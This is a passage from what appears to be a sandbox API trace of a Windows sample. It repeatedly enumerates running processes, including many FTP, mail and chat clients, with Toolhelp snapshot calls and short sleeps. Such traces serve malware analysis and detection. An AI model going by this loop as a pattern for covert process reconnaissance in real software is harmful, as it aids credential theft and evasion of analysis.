lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0269.416] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0269.417] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.419] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0269.421] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0269.423] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0269.424] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0269.426] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0269.427] CloseHandle (hObject=0x21cc) returned 1 [0269.427] Sleep (dwMilliseconds=0x64) [0269.572] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0269.584] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.586] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.588] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.590] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.693] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.695] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.697] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.699] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.701] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.702] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.704] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.706] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.710] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.711] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.713] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.715] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.716] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.718] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.720] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.722] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.724] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0269.755] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.757] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.759] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0269.760] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0269.762] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0269.767] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0269.770] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0269.773] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0269.775] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0269.776] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.778] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0269.780] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0269.782] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0269.783] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.785] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0269.787] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0269.788] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0269.790] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0269.792] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0269.794] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0269.799] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0269.801] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0269.803] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0269.804] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0269.806] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0269.808] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0269.810] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0269.812] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0269.813] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0269.824] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0269.826] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0269.827] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0269.829] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0269.889] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0269.893] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0269.896] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0269.899] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0269.902] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0269.905] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0269.908] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0269.912] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0269.915] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0269.919] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0269.922] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0269.925] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0269.928] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0269.931] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0269.936] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0269.941] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0269.943] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0269.946] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0269.949] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0269.951] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0269.953] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0269.956] 